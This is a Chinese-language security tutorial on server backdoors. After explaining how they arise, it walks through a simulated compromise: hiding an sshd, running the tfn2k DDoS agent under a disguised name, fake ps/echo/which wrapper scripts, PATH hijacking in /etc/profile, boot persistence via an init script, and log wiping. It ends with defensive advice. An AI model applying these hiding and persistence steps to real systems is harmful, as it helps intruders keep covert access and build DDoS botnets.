编者按:最近qq,sina北美站纷纷被攻击,其中不少攻击的主机都是肉鸡所为——那什么是肉机呢?就是被安置了后门程序的服务器,下面让我们来看看一台服务器是怎么样被埋下后门的。
在静悄悄地数字世界里,广大的网络中,用户所不知的暗面,潜藏着无尽的危机与陷阱。而其中一种非常出名的陷阱,叫做“后门”。
原理分析
什么是后门?后门又称为Back Door —— 谈到它,就不得不先提一下相关知识:大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535扇门。为什么需要那么多扇门呢?因为主人的事务很繁忙,它为了同时处理很多应酬,就决定每扇门只对一项应酬的工作。所以有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏因为各种原因,有的门在主人都不知道的情形下,却被悄然开启。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是今天我们要讲的“后门”。当然,这只是一个比喻,事实上除了通过端口连接外,也可以通过串/并口,无线设备连接的方式进行入侵,为了行文方便,以下文中的“端口”泛指各种对外接口(interface)。
后门产生的必要条件
后门产生的必要条件有以下三点:
1.必须以某种方式与其他终端节点相连——由于后门的利用都是从其他节点进行访问,因此必须与目标机使用双绞线、光纤维、串/并口、蓝牙、红外等设备在物理信号上有所连接才可以对端口进行访问。只有访问成功,双方才可以进行信号交流,攻击方才有机会进行入侵。
2.目标机默认开放的可供外界访问的端口必须在一个以上——因为一台默认无任何端口开放的机器是无法连接通信的,而如果开放着的端口外界无法访问,则同样没有办法进行入侵。
3.目标机存在程序设计或人为疏忽,导致攻击者能以权限较高的身份执行程序。并不是任何一个权限的帐号都能够被利用的,只有权限达到操作系统一定要求的才允许执行修改注册表,修改log记录等相关修改。
以上三条要求对于一台普通的联入internet的电脑来说都是很容易满足的。上网的电脑用pppoe、ppp等方式与网络相连,且默认打开多个端口,至于操作系统的bug以及人为疏忽则更始屡见不鲜了——这就是说,我们平时使用的任何一台电脑都存在着被放置后门的可能,因此有必要保持警惕及作好相关防御措施。
后门被开启的条件
明白了后门产生的必要条件后,接下来让我们来看看,这些后门都是在什么情况下被开启的:
1.操作系统自带服务;
2.网络协议捆绑;
3.软件编写者制作;
4.漏洞攻击后放置;
5.社会工程学等相关方式;
后门的遗留大致就是这五大类,让我们细细看来:
操作系统自带的服务,不管是unix也好,linux也好还是现在的windows98、2k、xp在默认安装完成后,为了方便用户的使用,都有默认开启多项服务(server),常见的有telnet server、ssh server、sendmail等等,其中一旦有的服务程序版本不够新或者默认配置的安全性不够,则很容易被攻击, 从而成为攻击者进入的通道。
网络协议捆绑。关于这个,要追述到早期的互联网络——那时候网络上的机器很少,大多是高校、军方及科研机构的设备,彼此都相当“信任”对方,且当时网络速度也比较慢。谁也没预料到当时供军事科研通讯性质的网络会走入千家万户,更不会想到几十年后一台廉价的x86架构的微机竟有比当年昂贵的小型机更高的性能。因此早期的网络协议都是以“信任”为前提进行设计的,对安全性方面考虑得比较少一些。目前我们所使用的ipv4协议在源地址等ip封包里的资料是可以任意修改的,mac地址也可以自由伪造,因此想追查攻击者以及做相应的防御封锁措施相当困难——这就成为上世纪末开始的各类攻击方式的“原罪”。
另外一些当年为局域网开启的协议也在安全验证方面存在很多疏忽,比如netbeui、netbios等原本用于“可信任”的局域网络的协议,将它放置在商业化的“不可信任”的互联网络中则是不明智的。我们以netbios进行简单分析:netbios主要是用来在网络上鉴别资源的,程序使用这些名称开始和结束会话。这个协议的特点是简单高效,缺点则是不验证对方身份就可以获得信息。而在windows系统中,smb和nbt(tcp/ip上的netbios)是紧密捆绑在一起工作的,使用的都是137、138、139端口:137是netbios名称,138端口是netbios数据报文,139端口是netbios会话——我们常用的“网络邻居”就需要这个协议。由于原本这个协议考虑的是如何最高效率地传输数据,向其他机器广播自己的存在,因此对于安全验证方面相对薄弱,许多病毒都是通过共享途径传播的,例如爱情后门、欢乐时光等等。这就是天缘从一直以来在文章都推荐大家放弃“网络共享”改用ftp的原因。将此类不够安全的协议放置于不安全网络之上,就是为攻击者准备好了一扇虚掩着的门。
后门程序如何隐藏的?
判断题:后门程序是不是程序?是不是具有可执行程序的通性??
答案自然是肯定的。打开后门的端口其实就是木马程序在机器上所开的,为的是方便该程序在不为目标机用户所知的情况下被攻击者访问/控制所用。好了,到了这里,问题被转换成了——后门程序的放置、执行、驻留、开放端口、隐藏自身信息、远远程连接的实现。
首先是放置,与病毒程序类似,后门程序也是通过操作系统漏洞、程序bug、协议安全漏洞传播、社会工程学传播为主,不过相比之下多了一个程序编写者预留。关于这一部分的知识,读者可以参考yesky上关于木马如何传播的介绍,也可参考天缘的另一则文章《安全宝典——病毒及攻击防御手册》。事实上后门程序可以看作是木马程序的一种,其他的木马程序还包括键盘/鼠标记录、隐私文件偷取等等方面的,后门则主要是专注于远程控制/访问这一部分。因此我们通常把后门程序看作是木马程序中的一个分支。从某种程度上来说,后门程序是技术含量相对较高的一类木马程序。
接下来是后门程序的执行,除了普通的木马程序常见的执行方式,后门程序可以通过挂hook的方式加载,也可以通过在某公共程序中预留接口被用户很乐意地主动加载。前者在技术上比较先进,后者则是软件作者的“原罪”。相比其他第三方程序实现的木马而言,这两类木马与系统结合地更加密切,在查找与杀除上更加困难。Hook方式可以通过挂接api,或加载dll,作为其他程序下属的线程的方式来加载;这样要杀这个子进程(线程)的后门程序则需要把主进程停止掉,而如果主进程是默认规定不允许kill掉的话就相当不方便查杀了,当然还有的做法就是运行2个子进程互相监视彼此,如果一个死了则另一个做相应处理,并把死掉的那个重新执行——如果有朋友是做服务器的,可以用类似服务界的ha方式来理解,“高可用”理论和实施真是无处不在啊。而后一类藏在程序中的后门,一般来说如果该程序不是特别重要的话,直接把该程序给删除掉,换一个同类功能的其他程序来用就行了。
不过……曾经有出现过内核级代码中出现后门的情形。遇到这样的情形一般就需要重新编译内核了,而如果内核是不开放源代码的则只能依靠商业公司的良心了。由于后门程序属于木马程序类,所以不具有病毒程序的感染二进制可执行文件的特征(但可能将其替换掉),所以一般来说去除方法都以删除该程序为主。关于后门程序的删除,可以参考各类木马程序删除的书籍文献来举一反三。
然后来看看后门程序的驻留。前面我们说过了,后门程序也是一个二进制程序,想要开启/监听/访问外部端口的时候,它必定是运行状态的。而程序的运行都是加载到系统进程之下,放置到内存中执行的。在这一部分中,随着后门程序的不断发展,目前的后门程序主要分为二大类:被动监听端口类、主动连接类。一般来说,常用的后门程序与我们运行的常规服务程序类似,都是后台运行,监听外部对某个端口的连接进而作出响应,这类后门程序从事实上讲就是一个服务程序,区别只在于不是由目标机合法用户所合法运行的而已。比如我私自在目标机上开一个ssh服务,而且想办法隐藏掉不被该机器的用户发现——那么这个原本用于远程登陆的利器,此刻就成为了我的一匹木马,而这个程序的称谓也变成了“后门软件”。另一类主动连接类的后门程序则是黑客思维的产物(打破常规思考的成果),普通情形下,由于目标机用户处于nat内,或使用了防火墙等软件,导致外部对其某些端口的访问不被允许,那么就达到了禁止该后门的目的。(如下图表示,虚线表示访问未遂)
但犹如天缘以前在简单介绍防火墙一文中所说的,大多数的防火墙因为效率及方便性考虑,一般都被管理员配置为“外紧内松”的模式——从外面发起的访问受防火墙限制,而从内部主动发起的连接请求则不受任何限制。常见的如windows xp sp2中自带的防火墙以及部分对带宽要求比较高,安全性要求不是特别高的娱乐、生活小区网络。因此,如果反向来连接,由受防火墙保护的目标机朝我们的攻击机器发起连接则就可以达到绕过防火墙通信的目的。(如下图,此次的连接目的就达到了)
接下来说说关于端口的事情,大家都知道前1024是系统默认的保护端口,在某些系统上运行这些端口是需要root权限的,而且为了和常见服务不发生冲突,则一般都把后门程序的端口设置得比较靠后一些。至于取什么端口,完全是个人爱好了,在《透视木马开发技术(上)(中)(下) 》中有详细介绍到windows下木马程序的端口自更改的实现,各位可以参考。关于后门程序的自身隐藏及远程连接的实现,我们在下面的一个小例子里面介绍。
实战演练
Ok,下面我们就开始一次模拟的攻击之旅吧。
首先记得一个宗旨——破坏者的目的是把对方的系统摧毁掉,而我们的目的是秘密潜入并放置我们的程序,最后把战场收拾干净——如果用游戏来比喻,前者是属于“合金弹头”后者则是“合金装备”了。
首先是进入对方的系统并获取权限。由于是模拟攻击,且漏洞利用并不是此文的重点,所以在此我们就当作是获取了一台linux机器的root权限了吧。值得一提的是这一步并没有大家想象中困难,一般来说比较简单的方法是利用的漏洞是没有升级的bind服务(dns服务器)的漏洞来达到目的,因为使用这个服务的机器配置一般不错,而且网络速度也会很不错,并且bind虽然可以chroot但是很多懒惰的管理员没有这样做(这就是天缘前段时间写制作一个chroot bind服务器的原因)——值得一提的是目前中国大陆教育网中有相当一部分的dns机器中的bind都是用的没有升级的旧版本,所以也存在漏洞。关于对旧版本bind的漏洞利用在各大安全站点都可以查到。其实一般一个新做的系统很少有漏洞,但使用过一段时间以后漏洞就渐渐多了,因为管理员不升级、不维护,所以很容易被攻击。
首先去下载一个ssh的源程序包,用ftp or wget 都随你高兴。
下载之后解包,安装这些都是很普通的。值得一提的是,如果觉得有必要可以加参数—prefix指定安装到某目录,找个比较深的子目录藏吧。
好了,接着改sshd.conf,设置一下需要的参数,把端口号随便改一个,之后就运行看看?相信已经启动起来了,如果你还不会设置sshd,那么先自己找台机器练习一下吧,攻击时候的时间可是分秒必争的哦。
好的,接下来我们就转到ssh里去做了。
恩,先把我们需要的tfn2k编译运行起来——在编译的时候可能会遇到一点麻烦就是gcc版本问题,不过可以通过特殊的参数设置来搞定,如果对方的操作系统和你的相同那么可以先本地编译后直接丢可执行文件上去。
结束了??没有!!这才是刚刚开始,后门程序的难点不是如何放到服务器上,和如何运行起来,而是如何让自己尽量不被管理员发现,以作它用。
好了,现在回忆一下,通过哪些途径有可能发现我们运行着的这个程序呢??
ps命令 发现后门程序进程
netstat 命令 发现监听端口异常
top 查看时发现
现在我们依次来想想隐藏的对应方法:
top命令中只显示进程名而不显示路径,我们可以用一个比较like系统正式进程的名字蒙混过去,例如在config.h中将tfn2k的进程名改为snnpd这样容易和snmpd相似的名字;
ps命令。。。如果有办法能够把ps命令中的关于我们程序那行去掉不是就ok了??ok,写一个名字是ps的shell,丢到我们的目录下,比如/home/skylove (模拟了啦,用个简单点的)
首先,我们把这个shell也命名为ps,然后输入以下的内容
#!/bin/sh
/bin/ps $* | grep -v tfn-daemon | grep -v grep
记得把这个shell的权限改正确,下面我们来解释一下这句shell的含义
$*表示的是这个shell获取的所有参数,ps $* 表示调用系统的命令ps加参数来例出进程列表,然后将结果重定向到 grep –v tfn-daemon这句里,而这一条命令的意思则是从前面ps命令列出的所有进程中,把含有关键字 tfn-daemon的这个进程去掉,最后一句则表示把grep命令本身去掉,当然这一句可用也可不用。好了,让我们整体上来看看执行了这个shell之后的效果吧:
首先,我们用系统的ps –aux命令来列出进程,得到类似这样的结果:
postfix
13922
0.0
1.7 13108 2232 ?
S
Oct17
0:00 /usr/sbin/httpd
skylove
9641
0.0
0.2
1444
284 ?
S
11:34
0:00 tfn-daemon
postfix
15943
0.0
0.7
3148
988 ?
S
16:00
0:00 pickup -l -t fifo -u
skylove
17083
0.0
1.4
6800 1784 ?
S
16:48
0:00 /usr/sbin/sshd
接着用./ps –aux 执行我们的shell的结果,则得到的是:
postfix
13922
0.0
1.7 13108 2232 ?
S
Oct17
0:00 /usr/sbin/httpd
postfix
15943
0.0
0.7
3148
988 ?
S
16:00
0:00 pickup -l -t fifo -u
skylove
17083
0.0
1.4
6800 1784 ? S
16:48
0:00 /usr/sbin/sshd
看到没?? 显示我们木马的那条进程就此不再显示了!这样一来,就做到了我们的进程的隐藏。而且对待任何的真实ps命令的合法参数都可以成功执行,包括无参数的情形——时刻要记得,做后门玩的是“合金装备”,暴露一次就完蛋!
但目标机的用户查看进程的时候使用的是ps,而不是我们目录下的这个名叫ps 的小shell啊!! 别着急,后面我们会有办法d~~~
耐着性子,接下来用类似的方式写一个叫做netstat 的shell
下面关于我们的shell的三行再也看不到了
好,现在来解决一下,让目标机的用户在运行以上命令的时候,是执行我们编写的shell,而不是从默认的/bin路径下的真实命令。
我们都知道,bash中对命令的搜索是按照一个叫做 PATH的变量来依次寻找路径的,因此我们只要能够让系统在搜索其他路径前,优先搜索到我们的路径就行了。
修改/etc/profile 在最后加上一句
export PATH=<你的路径>:$PATH 就可以了。
这样以后用户在使用的时候优先使用的就是你的路径下的ps和netstat了
注销一次,重新登陆就生效咯。
那么如果用户用echo $PATH 命令查看路径的时候不就露出了马脚了?
简单,接下来我们把echo命令也用shell给替换掉
同样道理,在这个目录下做个名字为echo的的shell,chmod 755它
#!/bin/sh
if [ "$1" = "$PATH" ]; then
/bin/echo $PATH | cut –c<你的路径长度+1>-
fi
这样就成咯!
(因为我们的目录成了$PATH变量的最开始一个路径,所以需要用它去掉相应字符数,cut命令的作用正是在此 –c表示cut的意思,而之后最后的-,表示一直取到末尾)
比如我用的例子中新增的路径是/home/skylove那么我就该写成13+1=14
我的shell就该写成
#!/bin/sh
if [ "$1" = "$PATH" ]; then
/bin/echo $1 | cut -c14-
fi
则真实的路径需要用/bin/echo $PATH查看,为
/home/skylove:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
而用echo $PATH 查看则为
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
(别忘记了由于路径优先的关系,首先执行的echo是我们目录下的echo shell,而非真正的echo文件)
那么如果管理员用which来查看ps ,netstat等命令的路径呢?
同样的道理,既然我们把ps,netstat和echo都伪造了,也不在乎多写一个名字为which的shell吧?
(以上这个shell中的case语句是判断输入的参数是否是我们改造过的文件,如果都不是,则丢给正常的which处理)
好了,同样的chmod 755这个文件,以后如果用which 查ps,netstat等,返回的都是伪真实路径咯~!
如果还想伪造其他的什么,用以上的类似方法来做就行了。
最后一步,这个tfn2k程序是我们想一直运行,即使管理员关机重新启动后依然可以自动加载的话——留意到没?刚才的ps进程里,有看到named,于是我们在/etc/init.d/named里加上一段就行了
好了,到这里,我们的掩饰目的基本上已经完成了。把我们的这个skylove帐号退出,用前面漏洞进入系统获得root的方式进去,进行最后的清理现场工作——首先把日志里面的内容删除掉 /var/log/message、/var/log/secure这里面的相关信息都清理掉,然后将ssh删除掉(当然如果你另有打算长期控制它,那么可以保留),再将我们那显眼的帐号skylove删除掉(如果你的那些程序是放在当时你新建帐号的home下,那么记得只需要先chown -R那个目录,然后直接在/etc/passwd里将我们那条skylove的记录删除就行咯)。之后再次清理log,确认一切正常后退出(再次把后门虚掩上)。
好了,这样一个后门就在目标机上长存了,如果对方的管理员比较疏忽大意的话,那么我想这个dos攻击发射器大概会有机会存在至少2个月左右的时间吧。用同样的方法,攻击者可以在各处寻找有漏洞的机器进行如上处理,埋下dos攻击服务器。当一有必要的时候,用客户端同时将服务器端起用起来攻击一个服务器,我想那个服务器一般大概挺不过30分钟吧。。。
如何防御
完整的模拟工具之后,大家接下来和天缘一起回看一下,让我们想想该如何防御后门程序。
首先,将不必要的服务一定关闭上,因为多一个端口就等于多给了攻击者一次尝试的机会,而那个不必要的服务,或许正是开门揖盗的罪魁祸首;
其次,选定适合的网络接口——例如如果你的mysql服务只针对本机,那么完全可以将接口只绑定到127.0.0.1的3306上,这样就避免了其他人外连的可能;
再次,对于公开对外的服务,一定需要及时打上相应的patch,犹如我在模拟攻击最开始中透露的一样——获得root权限那一步很多时候是用现成的漏洞找对应bug版本的服务软件的机器来有针对性攻击来实现的。因此记得开了什么服务,就需要随时关注那个服务器软件的bug信息,争取在第一时间升级到稳定版本。
最后,一旦攻击者进入,任何程序或文件都有可能被改写——上面的例子中我就用简单的shell来实现了掩藏——可能有人问,我直接把系统的文件正式替换掉如何呢? 那样效果可能没有我这样好(因为有的网管会使用chkrootkit
等软件来检查系统文件是否已经发生了改变——而天缘上面的做法压根就没改变系统文件,所以效果会更好一些。)因此攻击一旦发生后,如果相应的命令没有backup干净版本的,那么推荐还是备份重要数据,然后重新安装系统比较适合了——虽然用find文件或许可以发现当天的文件,但是不见得攻击者的攻击是一次完成的,如果是几次完成的呢?或者另有伏笔呢?所以最好的确保方法就是backup资料数据,重新安装系统。从这点也可以看出平时backup的重要性和必要性来。
网络管理和攻击从来是一个永恒对立的话题,而网络管理员从来都是处于弱者地位——攻击者可能在24小时内的任何时间里发出攻击,而网络管理员却没有办法在24小时内全部处于备战状态。那么解决这个问题的方法是什么呢?我个人的推荐是做一台单独的日志服务器,而且日志服务器选用比较安全的操作系统来做,例如openbsd。将其他每台服务器的log都发送到它上面,这样即使服务器被攻击了都有机会在日志中查找到攻击者的行为及手法,而如果攻击者要同时攻击日志服务器与工作服务器,难度相应比较大一些。
后门的攻击与防御,其实和网络上随时都在发生的各类攻击与防御比较起来没什么本质的区别——依然是那句老话:“守好自家的门,看好自家的人。”
(此文中的攻击手法全为让读者加深理解,理论联系实际而发布,任何人擅用上面的思路或代码进行犯罪行为与天缘本人及此文首发站点soft.yesky.com无关,任何网站转载请一定注明此句)